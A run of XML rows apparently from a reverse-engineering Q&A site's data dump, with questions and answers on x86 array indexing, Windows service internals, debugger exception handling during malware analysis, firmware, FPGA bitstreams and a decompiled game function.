  <row Id="2236" PostTypeId="2" ParentId="2232" CreationDate="2013-06-11T22:15:48.410" Score="8" Body="&lt;p&gt;As Dcoder indicated, an array of &lt;code&gt;short&lt;/code&gt; data types begins at the lower address, and the increment of the base of the array by &lt;code&gt;2&lt;/code&gt; corresponds to adding &lt;code&gt;1&lt;/code&gt; to the index.  Consider the following C code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;short array[256];&#xA;&#xA;// ...&#xA;cx = array[variable_1+1];&#xA;// ...&#xA;&#xA;// ...&#xA;dx = array[variable_1];&#xA;// ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Consider the choices that the compiler has in compiling these snippets of code.  It could produce code like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov eax, [ebp+Variable_1]&#xA;xor ecx, ecx&#xA;mov cx, word_4305FC[eax*2+2] ; note the +2 and the -FC address&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or maybe:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov eax, [ebp+Variable_1]&#xA;inc eax ; note this&#xA;xor ecx, ecx&#xA;mov cx, word_4305FC[eax*2] ; note the -FC address&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or, in the case of what you posted, this is an equivalent code sequence:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov eax, [ebp+Variable_1]&#xA;xor ecx, ecx&#xA;mov cx, word_4305FE[eax*2] ; note the -FE address&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What the compiler did was to eliminate the &quot;+2&quot; in the address displacement, or the &quot;inc eax&quot; in the index computation, and replaced it by adding 1*sizeof(short) to the address of the array.  This allows for a more optimized computation that does not have any increments taking place at runtime.&lt;/p&gt;&#xA;" OwnerUserId="182" LastActivityDate="2013-06-11T22:15:48.410" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2237" PostTypeId="2" ParentId="2235" CreationDate="2013-06-12T00:55:11.313" Score="9" Body="&lt;p&gt;This is my basic understanding of how Windows service works. I have used it with Windows XP and Windows 7. These are general concepts anyways. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any service requires three things to be present: &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;A Main Entry Point&lt;/li&gt;&#xA;&lt;li&gt;A Service Entry Point&lt;/li&gt;&#xA;&lt;li&gt;A Service Control Handler&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;You are absolutely right. In the Main Entry Point service must call &lt;strong&gt;&lt;code&gt;StartServiceCtrlDispatcher(const SERVICE_TABLE_ENTRY *lpServiceTable)&lt;/code&gt;&lt;/strong&gt; providing Service Control Manager with filled in &lt;strong&gt;&lt;code&gt;SERVICE_TABLE_ENTRY&lt;/code&gt;&lt;/strong&gt;, which is (per &lt;a href=&quot;http://msdn.microsoft.com/en-us/&quot; rel=&quot;nofollow noreferrer&quot;&gt;MSDN&lt;/a&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;typedef struct _SERVICE_TABLE_ENTRY {&#xA;    LPTSTR                  lpServiceName;&#xA;    LPSERVICE_MAIN_FUNCTION lpServiceProc;&#xA;} SERVICE_TABLE_ENTRY, *LPSERVICE_TABLE_ENTRY;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see, there are two things which are required to be supplied in SERVICE_TABLE_ENTRY structure. Those are pointer to name of the service, and pointer to service main function. Right after service registration, Service Control Manager calls  Service Main function, which is also called ServiceMain or Service Entry Point. Service Control Manager expects that following tasks are performed by Service Entry Point:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Register the service control handler.&lt;/li&gt;&#xA;&lt;li&gt;Set Service Status&lt;/li&gt;&#xA;&lt;li&gt;Perform necessary initialization (creating events, mutex, etc)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Service Control Handler is a callback function with the following definition: &lt;strong&gt;&lt;code&gt;VOID WINAPI ServiceCtrlHandler (DWORD CtrlCode)&lt;/code&gt;&lt;/strong&gt;(&lt;a href=&quot;http://msdn.microsoft.com/en-us/library/windows/desktop/ms685149%28v=vs.85%29.aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;MSDN&lt;/a&gt;). It is expected to handle service STOP, PAUSE, CONTINUE, and SHUTDOWN. It is imperative that each service has a handler to handle requests from the SCM. Service control handler is registered with &lt;strong&gt;&lt;code&gt;RegisterServiceCtrlHandlerEx()&lt;/code&gt;&lt;/strong&gt;(&lt;a href=&quot;http://msdn.microsoft.com/en-us/library/windows/desktop/ms685058%28v=vs.85%29.aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;MSDN&lt;/a&gt;), which returns &lt;strong&gt;&lt;code&gt;SERVICE_STATUS_HANDLE&lt;/code&gt;&lt;/strong&gt;. Service uses the handle to communicate to the SCM. The control handler must also return within 30 seconds. If it does not happen the SCM will return an error stating that the service is unresponsive. This is due to the fact that the handler is called out of the SCM and will freeze the SCM until it returns from the handler. Only then, service may use &lt;strong&gt;&lt;code&gt;SetServiceStatus()&lt;/code&gt;&lt;/strong&gt;(&lt;a href=&quot;http://msdn.microsoft.com/en-us/library/windows/desktop/ms686241%28v=vs.85%29.aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;MSDN&lt;/a&gt;) function along with service status handle to communicate back to the SCM. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You don't communicate &quot;Start&quot; to a service. Whenever a service loads, it loads in the &quot;started&quot; state. It is service's responsibility to report its state to the SCM. You can PAUSE it or CONTINUE (plus about dozen more control codes). You communicate it to the SCM by using &lt;strong&gt;&lt;code&gt;ControlService()&lt;/code&gt;&lt;/strong&gt;(&lt;a href=&quot;http://msdn.microsoft.com/en-us/library/windows/desktop/ms682108%28v=vs.85%29.aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;MSDN&lt;/a&gt;) function. The SCM in turn relays the control code (e.g. SERVICE_CONTROL_PAUSE, SERVICE_CONTROL_CONTINUE or any other one) through to the service using registered service control handler function. Afterwards, it is the services responsibility to act upon received control code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't think services.exe executes or runs threads behind actual services. It is the SCM itself. I take it coordinates services in general. Each service &quot;lives&quot; in svchost.exe instance. Taking mentioned above into account, I could assume that Service Entry Point or Service Main is executed in the context of instance of the svchost.exe. In its turn, svchost.exe executes Service Main in context of main thread, blocking main thread until Service Main exists signaling that the service exited.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are thinking to create your own service control manager, there is no need to reverse engineer how services.exe does it. You can do it your own way and anyway that you like it :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope it helps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;ADDED:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As &lt;a href=&quot;https://reverseengineering.stackexchange.com/users/161/mick&quot;&gt;Mick&lt;/a&gt; commented below, &lt;strong&gt;&lt;code&gt;services.exe&lt;/code&gt;&lt;/strong&gt; is the Service Control Manager itself. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are creating your own service wrapper to run existing serivce executables outside of the SCM, you will have to adhere to above mentioned service quidelines and requirements. The fist requirement is for the service to get itself registered with the SCM and provide Service Main Entry Point, which is done by calling &lt;strong&gt;&lt;code&gt;StartServiceCtrlDispatcher()&lt;/code&gt;&lt;/strong&gt;. It will get you the entry point to Service Main. Afterwards, you should expect the Service Main to call &lt;strong&gt;&lt;code&gt;RegisterServiceCtrlHandler()&lt;/code&gt;&lt;/strong&gt; and &lt;strong&gt;&lt;code&gt;SetServiceStatus()&lt;/code&gt;&lt;/strong&gt;. Since &lt;strong&gt;&lt;code&gt;RegisterServiceCtrlHandler()&lt;/code&gt;&lt;/strong&gt; runs in context of Service Main and blocks Service Main thread, it should be handled properly as well. In addition, you should think of a way to control/monitor the service worker thread(s) by &quot;watching&quot; for &lt;strong&gt;&lt;code&gt;CreatThread()&lt;/code&gt;&lt;/strong&gt;(&lt;a href=&quot;http://msdn.microsoft.com/en-us/library/windows/desktop/ms682453%28v=vs.85%29.aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;MSDN&lt;/a&gt;) within Service Main. &lt;/p&gt;&#xA;" OwnerUserId="2158" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2013-06-12T14:58:54.090" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2238" PostTypeId="1" AcceptedAnswerId="2239" CreationDate="2013-06-12T03:12:40.930" Score="10" ViewCount="2941" Body="&lt;p&gt;I came across some malware that raised an exception while I was single stepping through it. IDA gives me the option to pass the exception to the application or not. What exactly is going on here? When would I not want to pass the exception to the application?&lt;/p&gt;&#xA;" OwnerUserId="2142" LastActivityDate="2013-06-12T03:41:57.120" Title="How to handle exceptions in a debugger when reversing malware?" Tags="|malware|debuggers|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2239" PostTypeId="2" ParentId="2238" CreationDate="2013-06-12T03:41:57.120" Score="6" Body="&lt;p&gt;Often times malware and/or obfuscated code (such as unpacking stubs) will do something such as the following:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Set up an exception handler.&lt;/li&gt;&#xA;&lt;li&gt;Throw an exception.&lt;/li&gt;&#xA;&lt;li&gt;See if the exception handler caught the exception.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If the exception handler didn't catch the exception then the debugged code knows that a debugger was attached and &quot;swallowed&quot; the exception, thus indicating that the code is being debugged. In order to hide your debugger from such detection techniques, you always want to pass exceptions to the application when dealing with malware and/or obfuscated code.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2013-06-12T03:41:57.120" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2240" PostTypeId="2" ParentId="2233" CreationDate="2013-06-12T10:40:01.023" Score="3" Body="&lt;p&gt;From looking at firmware updates for some other Sony frames, the processor seem to be mostly 8051 derivatives. A couple of them expect files with names like &lt;code&gt;ISP.vup&lt;/code&gt; and &lt;code&gt;VISP.vup&lt;/code&gt;. You could try putting such files on a card and seeing if you can trigger the &lt;a href=&quot;http://www.sony.co.uk/support/en/product/DPF-D80/downloads/DPF_D80_fw&quot; rel=&quot;nofollow&quot;&gt;firmware update mode&lt;/a&gt; (but don't update it!). If this works, you can investigate the firmware update and try to write some simple code that would run instead.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2013-06-12T10:40:01.023" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2241" PostTypeId="1" AcceptedAnswerId="2257" CreationDate="2013-06-12T16:04:52.383" Score="4" ViewCount="1155" Body="&lt;p&gt;Long time ago I noticed that using&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;set follow-fork-mode child&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;in GDB on FreeBSD doesn't really work.&#xA;This problem occurs very often with some challenges on various Capture The Flag contests.&#xA;For example, a server will spawn a child which would handle the connection.&#xA;The child code has a vulnerability which I would like to debug, but gdb just never follows&#xA;the childs execution and I can't really observe the vulnerability being triggered.&lt;/p&gt;&#xA;&lt;p&gt;So far, I've solved this problem in two ways:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Making a connection, waiting for a child to spawn and than attaching GDB to it.&lt;/p&gt;&#xA;&lt;p&gt;This works since the spawned child has it's own PID to which I can attach, but is rather painful since first I have to make a connection from one session, attach with GDB in another, and then send the payload/continue the connection in the first.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Patching the binary after the fork call to continue the execution in the parent process instead of the child.&lt;/p&gt;&#xA;&lt;p&gt;This is also painful since then I have to restart the whole parent process to create another debugging session.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;There are some other tricks that can be employed, but these are enough to illustrate my point.&lt;/p&gt;&#xA;&lt;p&gt;Now I know there have been some limitations on FreeBSD in the past regarding this but has anything improved?&lt;/p&gt;&#xA;&lt;p&gt;Is there any way to patch GDB to add this functionality? Any suggestions for an easier way of overcoming this?&lt;/p&gt;&#xA;" OwnerUserId="304" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2013-06-21T20:59:50.857" Title="gdb on FreeBSD and follow-fork-mode child" Tags="|gdb|exploit|debugging|multi-process|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2242" PostTypeId="1" AcceptedAnswerId="2245" CreationDate="2013-06-12T17:12:41.647" Score="8" ViewCount="1513" Body="&lt;p&gt;I wrote a simple IDA plugin that, after a function call, looks for &lt;code&gt;mov MEM_LOCATION eax&lt;/code&gt; and adds a name for the memory where the return value is stored. I limit my search to only a few instructions after the function call and bail out if I see another call before the return value is stored. Is there a more rigorous way to track where the return value goes besides these heuristics?&lt;/p&gt;&#xA;" OwnerUserId="2142" LastActivityDate="2013-06-13T03:59:45.680" Title="Tracking What Is Done With a Function's Return Value" Tags="|ida|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2243" PostTypeId="2" ParentId="2242" CreationDate="2013-06-12T18:22:36.383" Score="9" Body="&lt;p&gt;A more general name for that problem is Data Tainting. &#xA;You mark some data as tainted, and then follow the taint propagation in the rest of the code. &#xA;There is quite a lot of research going on about taint analysis, and there is quite a number of tools. Take a look at &lt;a href=&quot;http://bitblaze.cs.berkeley.edu/&quot;&gt;bitblaze&lt;/a&gt; (&lt;strike&gt;especially &lt;a href=&quot;http://bitblaze.cs.berkeley.edu/release/blackhat-2010.html&quot;&gt;taint tracker&lt;/a&gt;&lt;/strike&gt; edit: just figured it's no loner available and outdated...), it has a part for taint tracking. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you'd need something more &quot;lightweight&quot; take a look at julio auto's and bsdaemon's  &lt;a href=&quot;http://www.phrack.org/issues.html?issue=67&amp;amp;id=10#article&quot;&gt;VDT&lt;/a&gt; which is more exploit-development oriented, but might give you an idea how things work. VDT actually does something very similar to what you do, but it does it in reverse. Given an execution trace, you can do a backward search from some value to see how it got initialized, where it was used, and what code it influenced.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more academic approach , check out &quot;&lt;a href=&quot;http://users.ece.cmu.edu/~ejschwar/papers/oakland10.pdf&quot;&gt;All You Ever Wanted to Know About Dynamic Taint Analysis and Forward Symbolic Execution&lt;/a&gt;&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All this is about dynamic analysis, tho some simpler stuff can be implemented statically. &#xA;I can't think of any example/tool off the top of my head right now.&#xA;I'm sure somebody will come up with more tools and ideas.&lt;/p&gt;&#xA;" OwnerUserId="304" LastEditorUserId="304" LastEditDate="2013-06-12T18:32:07.767" LastActivityDate="2013-06-12T18:32:07.767" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2245" PostTypeId="2" ParentId="2242" CreationDate="2013-06-12T19:31:26.030" Score="8" Body="&lt;p&gt;In the static context, this is known as &quot;data flow analysis&quot;.  For example, Hex-Rays incorporates the return-location information for function calls into its representation of the function so as to determine into which other locations that data flows.  You don't give a lot of detail on what you want to do with this information, but off the top of my head I'd say it could be worthwhile to investigate writing a Hex-Rays plugin.&lt;/p&gt;&#xA;" OwnerUserId="182" LastActivityDate="2013-06-12T19:31:26.030" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2247" PostTypeId="1" CreationDate="2013-06-10T18:08:25.330" Score="6" ViewCount="14398" Body="&lt;p&gt;I have a PCB board that is a little involved to figure out its working. I spent a good day mapping trace by trace, node by node but still some node connections wouldn't make sense. I know designers use software to reroute PCB traces, making them compact and planar, also render them hard to decipher.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was wondering if there is any software that helps me translate single sided PCB traces with components to schematics?&lt;/p&gt;&#xA;" OwnerUserId="43135" OwnerDisplayName="user1502776" LastEditorUserId="189" LastEditDate="2013-06-13T14:48:59.767" LastActivityDate="2015-10-05T16:01:33.607" Title="How to convert finished PCB to schematics effectively?" Tags="|hardware|pcb|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2248" PostTypeId="2" ParentId="2247" CreationDate="2013-06-10T18:29:35.560" Score="4" Body="&lt;p&gt;&lt;a href=&quot;http://fritzing.org/&quot; rel=&quot;nofollow&quot;&gt;Fritzing&lt;/a&gt; will allow you to add parts and create traces in PCB view, creating the equivalent in Schematic view with symbols and &quot;ratsnest&quot; lines representing the traces which you then arrange and fill in with wires.&lt;/p&gt;&#xA;" OwnerDisplayName="Ignacio Vazquez-Abrams" LastActivityDate="2013-06-10T18:29:35.560" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2249" PostTypeId="1" CreationDate="2013-06-13T19:02:55.153" Score="5" ViewCount="1112" Body="&lt;p&gt;I've downloaded the .pof bitstream from an Altera Cyclone device.  Is there any information I can get from it like, even just the FPGA P/N it is being used to configure?&lt;/p&gt;&#xA;" OwnerUserId="1756" LastActivityDate="2013-06-13T21:09:33.213" Title="Get FPGA Part Number from bitstream" Tags="|fpga|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2250" PostTypeId="2" ParentId="2249" CreationDate="2013-06-13T20:45:53.147" Score="6" Body="&lt;p&gt;&lt;a href=&quot;http://www.pldtool.com/pdf/fmt_pof.pdf&quot;&gt;fmt_pof.pdf&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; struct PACKET_HEAD&#xA; {&#xA; short tag;&#xA; long length;&#xA; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;tag=2 denotes the device type&#xA;  and contains the Device name in ASCII format.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You should be able to read it with a hex editor I imagine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.alteraforum.com/forum/showthread.php?t=4947&quot;&gt;Altera Forum&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you check there you can see some source code for reading the format. You have to register though you already may have done so. I looks like it should be super easy to parse this format as far as binary formats go.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In general the format is ([2byte &quot;short&quot; tag][4bytes &quot;long&quot; length][length bytes])(next packet)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The name of the device should occur after in just about any &lt;a href=&quot;http://en.wikipedia.org/wiki/Comparison_of_hex_editors&quot;&gt;hex editor&lt;/a&gt; unless they somewow encrypt the file 0x00 0x02 0xXX 0xXX 0xXX 0xXX NAME HERE IN ASCII. Usually hex editors display the ASCII version of the file side by side with the hex. The 0xXX there will be whatever value the lenth of the tag packet is.&lt;/p&gt;&#xA;" OwnerUserId="117" LastEditorUserId="117" LastEditDate="2013-06-13T21:09:33.213" LastActivityDate="2013-06-13T21:09:33.213" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2251" PostTypeId="1" CreationDate="2013-06-14T12:57:10.517" Score="3" ViewCount="3178" Body="&lt;p&gt;I have this function that I know its responsible for making some nice math between a 2D vector to return the highest 3D Y value at the provided 2D coordinate. I also know it takes two parameters, &lt;code&gt;int iX&lt;/code&gt; and &lt;code&gt;int iZ&lt;/code&gt;. I have the ASM and the pseudo-C generated by Hex-Rays, but I can't make this code cmpile, I'm not so good with the Hex-Rays pseudo-code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The ASM code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00464770  /$ 56             PUSH ESI&#xA;00464771  |. 8BF1           MOV ESI,ECX&#xA;00464773  |. 833E 00        CMP DWORD PTR DS:[ESI],0&#xA;00464776  |. 75 06          JNZ SHORT 0046477E&#xA;00464778  |. 33C0           XOR EAX,EAX&#xA;0046477A  |. 5E             POP ESI&#xA;0046477B  |. C2 0800        RETN 8&#xA;0046477E  |&amp;gt; 8B4424 0C      MOV EAX,DWORD PTR SS:[ESP+C]&#xA;00464782  |. 8B4C24 08      MOV ECX,DWORD PTR SS:[ESP+8]&#xA;00464786  |. 50             PUSH EAX&#xA;00464787  |. 51             PUSH ECX&#xA;00464788  |. C1F8 0E        SAR EAX,0E&#xA;0046478B  |. C1F9 0E        SAR ECX,0E&#xA;0046478E  |. 50             PUSH EAX&#xA;0046478F  |. 51             PUSH ECX&#xA;00464790  |. 8BCE           MOV ECX,ESI&#xA;00464792  |. E8 59FEFFFF    CALL 004645F0&#xA;00464797  |. FF86 14000400  INC DWORD PTR DS:[ESI+40014]&#xA;0046479D  |. 5E             POP ESI&#xA;0046479E  \. C2 0800        RETN 8&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The pseudo-code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;signed int __thiscall sub_464770(void *this, int a2, int a3)&#xA;{&#xA;  void *v3; // esi@1&#xA;  signed int result; // eax@2&#xA;&#xA;&#xA;  v3 = this;&#xA;  if ( *(_DWORD *)this )&#xA;  {&#xA;    result = sub_4645F0((int)this, a2 &amp;gt;&amp;gt; 14, a3 &amp;gt;&amp;gt; 14, a2, a3);&#xA;    ++*((_DWORD *)v3 + 65541);&#xA;  }&#xA;  else&#xA;  {&#xA;    result = 0;&#xA;  }&#xA;  return result;&#xA;}&#xA;signed int __thiscall sub_4645F0(int this, unsigned __int8 a2, unsigned __int8 a3, int a4, int a5)&#xA;{&#xA;  int v5; // ebx@1&#xA;  int v6; // edi@1&#xA;  int v7; // esi@1&#xA;  signed int v8; // ebp@2&#xA;  int v9; // eax@3&#xA;  int v10; // edx@3&#xA;  int v11; // eax@3&#xA;  int v12; // ecx@3&#xA;  int v13; // eax@5&#xA;  signed int result; // eax@9&#xA;  signed int v15; // [sp+14h] [bp+4h]@1&#xA;  int v16; // [sp+18h] [bp+8h]@2&#xA;&#xA;&#xA;  v7 = this;&#xA;  v5 = this + 4 * (a3 + (a2 &amp;lt;&amp;lt; 8)) + 4;&#xA;  v6 = *(_DWORD *)(this + 262164);&#xA;  v15 = -51200;&#xA;  if ( *(_DWORD *)v5 &amp;amp;&amp;amp; (v8 = 1, v16 = **(_WORD **)v5 + 1, v16 &amp;gt; 1) )&#xA;  {&#xA;    do&#xA;    {&#xA;      v10 = *(_DWORD *)(v7 + 262172);&#xA;      v11 = 28 * *(_WORD *)(*(_DWORD *)v5 + 2 * v8);&#xA;      v12 = *(_DWORD *)(v11 + v10 + 4);&#xA;      v9 = v10 + v11;&#xA;      if ( v12 != v6 )&#xA;      {&#xA;        if ( *(_BYTE *)(320 * *(_WORD *)(v9 + 14) + *(_DWORD *)(v7 + 262192) + 168) &amp;amp; 1 )&#xA;        {&#xA;          *(_DWORD *)(v9 + 4) = v6;&#xA;          v13 = sub_464320(v7, v9, a4, a5);&#xA;          if ( v13 != -32767 )&#xA;          {&#xA;            if ( v13 &amp;gt; v15 )&#xA;              v15 = v13;&#xA;          }&#xA;        }&#xA;      }&#xA;      ++v8;&#xA;    }&#xA;    while ( v8 &amp;lt; v16 );&#xA;    result = v15;&#xA;  }&#xA;  else&#xA;  {&#xA;    result = -51200;&#xA;  }&#xA;  return result;&#xA;}&#xA;int __thiscall sub_464320(int this, int a2, int a3, int a4)&#xA;{&#xA;  int v4; // eax@1&#xA;  int v5; // ecx@1&#xA;  int v6; // ebx@1&#xA;  int v7; // esi@1&#xA;  int v8; // esi@1&#xA;  int v9; // edi@1&#xA;  int v10; // edx@1&#xA;  signed int v11; // ecx@16&#xA;  int v12; // eax@17&#xA;  int v13; // edx@22&#xA;  int v14; // edi@22&#xA;  int v15; // eax@23&#xA;  int v16; // ecx@24&#xA;  int v17; // eax@31&#xA;  int v18; // edx@33&#xA;  int v19; // ebx@33&#xA;  int v20; // ebp@33&#xA;  signed int v21; // ecx@34&#xA;  int v22; // ecx@36&#xA;  int v23; // eax@37&#xA;  int v24; // eax@40&#xA;  int v25; // eax@45&#xA;  int v26; // edx@45&#xA;  int v27; // esi@45&#xA;  int v28; // edi@46&#xA;  int v29; // eax@49&#xA;  int v30; // eax@49&#xA;  signed int v31; // ecx@52&#xA;  int result; // eax@53&#xA;  int v33; // [sp+10h] [bp-24h]@1&#xA;  int v34; // [sp+14h] [bp-20h]@1&#xA;  signed int v35; // [sp+18h] [bp-1Ch]@25&#xA;  signed int v36; // [sp+1Ch] [bp-18h]@28&#xA;  signed int v37; // [sp+20h] [bp-14h]@24&#xA;  int v38; // [sp+20h] [bp-14h]@37&#xA;  signed int v39; // [sp+24h] [bp-10h]@24&#xA;  int v40; // [sp+24h] [bp-10h]@40&#xA;  int v41; // [sp+28h] [bp-Ch]@1&#xA;  int v42; // [sp+2Ch] [bp-8h]@1&#xA;  int v43; // [sp+30h] [bp-4h]@1&#xA;  int v44; // [sp+38h] [bp+4h]@1&#xA;  int v45; // [sp+38h] [bp+4h]@43&#xA;  signed int v46; // [sp+40h] [bp+Ch]@24&#xA;&#xA;&#xA;  v8 = *(_DWORD *)(this + 262168);&#xA;  v4 = v8 + 28 * *(_WORD *)(a2 + 10);&#xA;  v5 = v8 + 28 * *(_WORD *)(a2 + 8);&#xA;  v9 = *(_DWORD *)(v5 + 16);&#xA;  v43 = v8 + 28 * *(_WORD *)(a2 + 12);&#xA;  v33 = v43;&#xA;  v10 = *(_DWORD *)(v4 + 16);&#xA;  v7 = v5;&#xA;  v6 = v4;&#xA;  v41 = v5;&#xA;  v42 = v4;&#xA;  v34 = v5;&#xA;  v44 = v4;&#xA;  if ( v10 &amp;lt; v9 )&#xA;  {&#xA;    v7 = v4;&#xA;    v34 = v4;&#xA;  }&#xA;  if ( *(_DWORD *)(v43 + 16) &amp;lt; *(_DWORD *)(v7 + 16) )&#xA;  {&#xA;    v7 = v43;&#xA;    v34 = v43;&#xA;  }&#xA;  if ( v7 == v4 )&#xA;  {&#xA;    v44 = v43;&#xA;    v6 = v43;&#xA;  }&#xA;  if ( *(_DWORD *)(v5 + 16) &amp;gt; *(_DWORD *)(v6 + 16) )&#xA;  {&#xA;    if ( v7 != v5 )&#xA;    {&#xA;      v44 = v5;&#xA;      v6 = v5;&#xA;    }&#xA;  }&#xA;  if ( *(_DWORD *)(v4 + 16) &amp;gt; *(_DWORD *)(v6 + 16) )&#xA;  {&#xA;    if ( v7 != v4 )&#xA;    {&#xA;      v44 = v4;&#xA;      v6 = v4;&#xA;    }&#xA;  }&#xA;  if ( *(_DWORD *)(v43 + 16) &amp;gt; *(_DWORD *)(v6 + 16) )&#xA;  {&#xA;    if ( v7 != v43 )&#xA;    {&#xA;      v44 = v43;&#xA;      v6 = v43;&#xA;    }&#xA;  }&#xA;  v11 = 0;&#xA;  while ( 1 )&#xA;  {&#xA;    v12 = *(&amp;amp;v41 + v11);&#xA;    if ( v7 != v12 )&#xA;    {&#xA;      if ( v6 != v12 )&#xA;        break;&#xA;    }&#xA;    ++v11;&#xA;    if ( v11 &amp;gt;= 3 )&#xA;      goto LABEL_22;&#xA;  }&#xA;  v33 = *(&amp;amp;v41 + v11);&#xA;LABEL_22:&#xA;  v13 = *(_DWORD *)(v7 + 16);&#xA;  v14 = a4;&#xA;  if ( a4 &amp;lt; v13 )&#xA;    goto LABEL_58;&#xA;  v15 = *(_DWORD *)(v6 + 16);&#xA;  if ( a4 &amp;gt; v15 )&#xA;    goto LABEL_58;&#xA;  v16 = *(_DWORD *)(v33 + 16);&#xA;  v37 = v15 - v13;&#xA;  v39 = *(_DWORD *)(v33 + 16) - v13;&#xA;  v46 = v15 - v16;&#xA;  v35 = v15 == v13 ? 0 : ((*(_DWORD *)(v44 + 8) - *(_DWORD *)(v7 + 8)) &amp;lt;&amp;lt; 8) / (v15 - v13);&#xA;  v36 = *(_DWORD *)(v33 + 16) == v13 ? 0 : ((*(_DWORD *)(v33 + 8) - *(_DWORD *)(v7 + 8)) &amp;lt;&amp;lt; 8)&#xA;                                         / (*(_DWORD *)(v33 + 16) - v13);&#xA;  v17 = v46 ? ((*(_DWORD *)(v44 + 8) - *(_DWORD *)(v33 + 8)) &amp;lt;&amp;lt; 8) / v46 : 0;&#xA;  v20 = v14 - *(_DWORD *)(v7 + 16);&#xA;  v18 = *(_DWORD *)(v7 + 8);&#xA;  v19 = v18 + (v35 * (v14 - *(_DWORD *)(v7 + 16)) &amp;gt;&amp;gt; 8);&#xA;  if ( v14 &amp;gt;= v16 )&#xA;  {&#xA;    v21 = v17 * (v14 - *(_DWORD *)(v33 + 16));&#xA;    v18 = *(_DWORD *)(v33 + 8);&#xA;  }&#xA;  else&#xA;  {&#xA;    v21 = v36 * v20;&#xA;  }&#xA;  v22 = v18 + (v21 &amp;gt;&amp;gt; 8);&#xA;  if ( v37 )&#xA;  {&#xA;    v23 = ((*(_DWORD *)(v44 + 12) - *(_DWORD *)(v7 + 12)) &amp;lt;&amp;lt; 8) / v37;&#xA;    v7 = v34;&#xA;    v38 = v23;&#xA;  }&#xA;  else&#xA;  {&#xA;    v38 = 0;&#xA;  }&#xA;  if ( v39 )&#xA;  {&#xA;    v24 = ((*(_DWORD *)(v33 + 12) - *(_DWORD *)(v7 